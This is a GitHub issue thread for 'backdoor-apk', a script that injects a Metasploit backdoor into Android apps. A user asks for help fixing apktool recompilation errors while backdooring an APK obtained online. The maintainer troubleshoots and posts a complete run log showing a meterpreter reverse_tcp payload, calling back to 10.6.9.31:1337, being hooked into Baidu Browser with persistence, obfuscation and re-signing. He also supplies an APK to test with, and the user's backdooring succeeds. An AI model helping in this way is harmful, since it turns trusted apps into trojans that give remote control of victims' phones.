dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.21k stars 702 forks source link

apktool errors on recompilation of original APK file [duplicate] #32

Closed mehr66t closed 8 years ago

mehr66t commented 8 years ago

dear, i have issue in recompile original project with backdoor i always face failing in this part. even i signed one apk file and test again. but i failed as before.please help. Thank you in advance

dana-at-cp commented 8 years ago

Please attach the run.log file after the failure.

mehr66t commented 8 years ago

Dear, FYI

run.zip

mehr66t commented 8 years ago

my apk as well. badu.zip

dana-at-cp commented 8 years ago

I see this in the run.log file:

Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8592019061118522257.tmp, p, --forced-package-id, 127, $
        at brut.androlib.Androlib.buildResourcesFull(Androlib.java:437)
        at brut.androlib.Androlib.buildResources(Androlib.java:371)
        at brut.androlib.Androlib.build(Androlib.java:281)
        at brut.androlib.Androlib.build(Androlib.java:254)
        at brut.apktool.Main.cmdBuild(Main.java:224)
        at brut.apktool.Main.main(Main.java:84)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8592019061118522257.tmp, p, --forced-package-id, 127, --min-sdk-version, 14, --target-sdk-version, 19, $
        at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:436)
        at brut.androlib.Androlib.buildResourcesFull(Androlib.java:423)
        ... 5 more
Caused by: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8592019061118522257.tmp, p, --forced-package-id, 127, --min-sdk-version, 14, --target-sdk-version, 19, --version-code, 165, --version-na$
        at brut.util.OS.exec(OS.java:97)
        at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:430)
        ... 6 more
Caused by: java.io.IOException: Cannot run program "/tmp/brut_util_Jar_8592019061118522257.tmp": error=2, No such file or directory
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1047)
        at brut.util.OS.exec(OS.java:90)
        ... 7 more
Caused by: java.io.IOException: error=2, No such file or directory
        at java.lang.UNIXProcess.forkAndExec(Native Method)
        at java.lang.UNIXProcess.<init>(UNIXProcess.java:187)
        at java.lang.ProcessImpl.start(ProcessImpl.java:130)
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1028)
        ... 8 more

This error, from apktool, is identical to the error being reported in another open issue. As of right now, the root cause is not known. You can help out by trying to find a solution to the apktool issue. If you find a solution then please update this issue with a comment sharing the solution or workaround.

dana-at-cp commented 8 years ago

This appears to be a duplicate of issue: #30

dana-at-cp commented 8 years ago

FYI. The APK file you provided does not recompile for me as well but I get a slightly different error in the logs. Did you provide the original APK? Is it a legit copy from the Google Play Store or did you obtain it from somewhere else on the Internet?

mehr66t commented 8 years ago

i got it from internet. for apktool what should i do. thanks

On Mon, Sep 12, 2016 at 11:08 PM, Dana James Traversie < notifications@github.com> wrote:

FYI. The APK file you provided does not recompile for me as well but I get a slightly different error in the logs. Did you provide the original APK? Is it a legit copy from the Google Play Store or did you obtain it from somewhere else on the Internet?

— You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub https://github.com/dana-at-cp/backdoor-apk/issues/32#issuecomment-246447482, or mute the thread https://github.com/notifications/unsubscribe-auth/AU-_Utcssl7eMR-IRGqgvbZYBb3t_pd9ks5qpZwggaJpZM4J0-G_ .

dana-at-cp commented 8 years ago

I have a known good copy of Baidu Browser (from the Google Play Store) that you can use to test.

Here's the backdoor-apk.sh script output from a run that completed moments ago:

root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk 
[*] Generating RAT APK file...done.
[+] Using payload: android/meterpreter/reverse_tcp
[+] Handle the reverse connection at: 10.6.9.31:1337
[*] Decompiling RAT APK file...done.
[*] Decompiling original APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Running proguard on RAT APK file...done.
[*] Decompiling obfuscated RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# date
Mon Sep 12 16:46:01 EDT 2016
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk#

You could download the APK here and see if it is processed successfully on your system:

BaiduBrowser.apk

root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# md5sum BaiduBrowser.apk 
6d903df56af11be281d24a49f9461483  BaiduBrowser.apk
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# sha256sum BaiduBrowser.apk 
adee4b084ed9ac3af578336c9a80a16647e85b966cb18e248e946e16a3701703  BaiduBrowser.apk
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk#
mehr66t commented 8 years ago

dear can u share your apk. thanks

On Tue, Sep 13, 2016 at 1:17 AM, Dana James Traversie < notifications@github.com> wrote:

I have a known good copy of Baidu Browser that you can use to test.

Here's the backdoor-apk.sh script output from a run that completed moments ago:

root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk [_] Generating RAT APK file...done. [+] Using payload: android/meterpreter/reversetcp [+] Handle the reverse connection at: 10.6.9.31:1337 [] Decompiling RAT APK file...done. [] Decompiling original APK file...done. [] Merging permissions of original and payload projects...done. [] Running proguard on RAT APK file...done. [] Decompiling obfuscated RAT APK file...done. [] Creating new directories in original project for RAT smali files...done. [] Copying RAT smali files to new directories in original project...done. [] Fixing RAT smali files...done. [] Obfuscating const-string values in RAT smali files...done. [] Locating smali file to hook in original project...done. [] Adding hook in original smali file...done. [] Adding persistence hook in original project...done. [] Recompiling original project with backdoor...done. [] Generating RSA key for signing...done. [] Signing recompiled APK...done. [] Verifying signed artifacts...done. [] Aligning recompiled APK...done. root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# date Mon Sep 12 16:46:01 EDT 2016 root@kali:~/Scripts/github/backdoor-apk/backdoor-apk#

— You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub https://github.com/dana-at-cp/backdoor-apk/issues/32#issuecomment-246487618, or mute the thread https://github.com/notifications/unsubscribe-auth/AU-_UkjdlT8uNZQWVcRGqHfLCI_V5kpzks5qpbp1gaJpZM4J0-G_ .

dana-at-cp commented 8 years ago

@mehr66t It's shared in my previous comment.

mehr66t commented 8 years ago

it worked! well done and thanks.

On Tue, Sep 13, 2016 at 8:52 PM, Dana James Traversie < notifications@github.com> wrote:

@mehr66t https://github.com/mehr66t It's shared in my previous comment.

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/dana-at-cp/backdoor-apk/issues/32#issuecomment-246738807, or mute the thread https://github.com/notifications/unsubscribe-auth/AU-_UvuPOrbC8BJO79gYfaUJD9H-xfiRks5qps23gaJpZM4J0-G_ .

dana-at-cp commented 8 years ago

Beware of grabbing APK files from random places out on the Internet. They have mostly likely been tampered with in some fashion. Apktool generally fails to decompile/compile when an APK itself is in a bad state. If you stick with legitimate APK files from the Google Play store then you probably won't see Apktool failures.